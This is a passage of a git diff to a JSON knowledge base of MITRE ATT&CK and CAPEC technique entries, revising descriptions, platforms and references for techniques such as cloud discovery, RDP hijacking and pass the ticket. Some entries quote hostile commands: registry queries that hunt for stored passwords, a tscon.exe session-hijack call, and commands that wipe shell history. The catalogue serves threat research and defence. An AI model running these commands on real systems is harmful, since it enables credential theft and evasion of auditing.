services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket’s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.", + "description": "An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket (Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block). \nSimilarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.", "meta": { "external_id": "T1580", "kill_chain": [ @@ -13108,13 +11773,11 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1580", - "https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/", "https://cloud.google.com/sdk/gcloud/reference/compute/instances/list", "https://content.fireeye.com/m-trends/rpt-m-trends-2020", "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html", "https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html", "https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html", "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html", "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest", "https://expel.io/blog/finding-evil-in-aws/" @@ -13123,6 +11786,24 @@ "uuid": "57a3d31a-d04f-4663-b2da-7df8ec3f8c9d", "value": "Cloud Infrastructure Discovery - T1580" }, + { + "description": "Adversaries may use non-standard ports to exfiltrate information.", + "meta": { + "external_id": "T1509", + "kill_chain": [ + "mitre-mobile-attack:command-and-control" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1509" + ] + }, + "uuid": "948a447c-d783-4ba0-8516-a64140fcacd5", + "value": "Uncommonly Used Port - T1509" + }, { "description": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users. The generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance)", "meta": { @@ -13160,12 +11841,6 @@ "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\\windows\\system32\\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)", "meta": { "external_id": "CAPEC-555", - "kill_chain": [ - "mitre-attack:lateral-movement" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/", "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", @@ -13196,8 +11871,7 @@ "mitre-attack:execution" ], "mitre_data_sources": [ - "Command: Command Execution", - "Process: Process Creation" + "Command: Command Execution" ], "mitre_platforms": [ "Containers" @@ -13219,12 +11893,6 @@ "description": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)", "meta": { "external_id": "T1096", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html", "http://msdn.microsoft.com/en-us/library/aa364404", @@ -13289,12 +11957,6 @@ "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. \n\nAdversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials. (Citation: Technet Net Use)", "meta": { "external_id": "CAPEC-561", - "kill_chain": [ - "mitre-attack:lateral-movement" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://support.microsoft.com/kb/314984", "https://attack.mitre.org/techniques/T1077", @@ -13323,12 +11985,6 @@ "description": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)", "meta": { "external_id": "CAPEC-645", - "kill_chain": [ - "mitre-attack:lateral-movement" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos", "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf", @@ -13354,14 +12010,6 @@ "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.", "meta": { "external_id": "CAPEC-578", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1089", "https://capec.mitre.org/data/definitions/578.html" @@ -13383,14 +12031,6 @@ "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.", "meta": { "external_id": "CAPEC-649", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/", "https://attack.mitre.org/techniques/T1151", @@ -13419,8 +12059,7 @@ "mitre_data_sources": [ "Container: Container Creation", "Process: OS API Execution", - "Process: Process Creation", - "Volume: Volume Modification" + "Process: Process Creation" ], "mitre_platforms": [ "Windows", @@ -13469,15 +12108,7 @@ "https://attack.mitre.org/techniques/T1412" ] }, - "related": [ - { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", "value": "Capture SMS Messages - T1412" }, @@ -13485,12 +12116,6 @@ "description": "The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s", "meta": { "external_id": "T1214", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1214", "https://pentestlab.blog/2017/04/19/stored-credentials/" @@ -13549,6 +12174,24 @@ "uuid": "91a3735f-817a-4450-8ed4-f05a0f5c3877", "value": "Determine strategic target - T1241" }, + { + "description": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.", + "meta": { + "external_id": "T1521", + "kill_chain": [ + "mitre-mobile-attack:command-and-control" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1521" + ] + }, + "uuid": "ed2c05a1-4f81-4d97-9e1b-aff01c34ae84", + "value": "Standard Cryptographic Protocol - T1521" + }, { "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.", "meta": { @@ -13577,12 +12220,6 @@ "description": "Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\\SOFTWARE\\Microsoft\\Netsh.\n\nAdversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence)\n\nProof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)", "meta": { "external_id": "T1128", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1128", "https://github.com/outflankbv/NetshHelperBeacon", @@ -13603,7 +12240,7 @@ "value": "Netsh Helper DLL - T1128" }, { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, AnyDesk, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.(Citation: Symantec Living off the Land)\n\nRemote access tools may be installed and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system. Installation of many remote access tools may also include persistence (ex: the tool's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)).\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns.(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy)", + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n\nRemote access tools may be established and used post-compromise as alternate communications channel for redundant access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)", "meta": { "external_id": "T1219", "kill_chain": [ @@ -13709,7 +12346,7 @@ "value": "Access Token Manipulation - T1134" }, { - "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\n\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. In Linux, the passwd utility may be used to change passwords. Accounts could also be disabled by Group Policy. \n\nAdversaries who use ransomware may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. ", + "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.\n\nAdversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)", "meta": { "external_id": "T1531", "kill_chain": [ @@ -13723,9 +12360,7 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows", - "Office 365", - "SaaS" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1531", @@ -13801,12 +12436,6 @@ "description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.", "meta": { "external_id": "T1173", - "kill_chain": [ - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1173", "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/", @@ -13845,6 +12474,29 @@ "uuid": "9d234df0-2344-4db4-bc0f-8de9c6c071a7", "value": "Obfuscate operational infrastructure - T1318" }, + { + "description": "Adversaries may abuse Clipboard Manager APIs to obtain sensitive information copied to the global clipboard. For example, passwords being copy-and-pasted from a password manager app could be captured by another application installed on the device.(Citation: Fahl-Clipboard)\n\nOn Android, ClipboardManager.OnPrimaryClipChangedListener can be used by applications to register as a listener and monitor the clipboard for changes.(Citation: Github Capture Clipboard 2019)\n\nAndroid 10 mitigates this technique by preventing applications from accessing clipboard data unless the application is on the foreground or is set as the device’s default input method editor (IME).(Citation: Android 10 Privacy Changes)", + "meta": { + "external_id": "APP-35", + "kill_chain": [ + "mitre-mobile-attack:collection", + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "http://saschafahl.de/static/paper/pwmanagers2013.pdf", + "https://attack.mitre.org/techniques/T1414", + "https://developer.android.com/about/versions/10/privacy/changes#clipboard-data", + "https://github.com/grepx/android-clipboard-security", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html" + ] + }, + "uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692", + "value": "Capture Clipboard Data - T1414" + }, { "description": "An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account.(Citation: NYGov-Simswap)(Citation: Motherboard-Simswap2) The adversary could then obtain SMS messages or hijack phone calls intended for someone else.(Citation: Betanews-Simswap)\n\nOne use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account.(Citation: Guardian-Simswap)(Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap)", "meta": { @@ -13875,12 +12527,6 @@ "description": "An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application(Citation: FireEye-Masque2)(Citation: Dhanjani-URLScheme). This technique, for example, could be used to capture OAuth authorization codes(Citation: IETF-PKCE) or to phish user credentials(Citation: MobileIron-XARA).", "meta": { "external_id": "AUT-10", - "kill_chain": [ - "mitre-mobile-attack:credential-access" - ], - "mitre_platforms": [ - "iOS" - ], "refs": [ "http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html", "https://attack.mitre.org/techniques/T1415", @@ -13898,13 +12544,6 @@ "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.", "meta": { "external_id": "T1146", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1146" ] @@ -13957,12 +12596,6 @@ "description": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)", "meta": { "external_id": "T1174", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html", "https://attack.mitre.org/techniques/T1174", @@ -13985,12 +12618,6 @@ "description": "On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits.", "meta": { "external_id": "T1419", - "kill_chain": [ - "mitre-mobile-attack:discovery" - ], - "mitre_platforms": [ - "Android" - ], "refs": [ "https://attack.mitre.org/techniques/T1419", "https://developer.android.com/reference/android/os/Build" @@ -14004,14 +12631,6 @@ "description": "Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.", "meta": { "external_id": "CAPEC-163", - "kill_chain": [ - "mitre-attack:initial-access" - ], - "mitre_platforms": [ - "Windows", - "macOS", - "Linux" - ], "refs": [ "https://attack.mitre.org/techniques/T1194", "https://capec.mitre.org/data/definitions/163.html" @@ -14051,7 +12670,7 @@ "https://attack.mitre.org/techniques/T1615", "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult", - "https://github.com/PowerShellEmpire/Empire" + "https://github.com/EmpireProject/Empire" ] }, "uuid": "1b20efbf-8063-4fc3-a07d-b575318a301b", @@ -14061,13 +12680,6 @@ "description": "Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files (Citation: intezer-kaiji-malware). These files require root permissions and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile (Rocke) which are sourced when a user opens a command line interface or connects remotely. Adversaries often use ~/.bash_profile since the system only executes the first file that exists in the listed order. Adversaries have also leveraged the ~/.bashrc file (Tsunami, Rocke, Linux Rabbit, Magento) which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command line interface. Some malware targets the termination of a program to trigger execution (Cannon), adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session(Pearl_shellbot). \n\nFor macOS, the functionality of this technique is similar but leverages zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin. The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.", "meta": { "external_id": "T1156", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1156", "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/" @@ -14102,8 +12714,8 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1185", + "https://cobaltstrike.com/downloads/csmanual38.pdf", "https://en.wikipedia.org/wiki/Man-in-the-browser", - "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf", "https://www.cobaltstrike.com/help-browser-pivoting", "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses" ] @@ -14112,16 +12724,12 @@ "value": "Browser Session Hijacking - T1185" }, { - "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)", + "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain 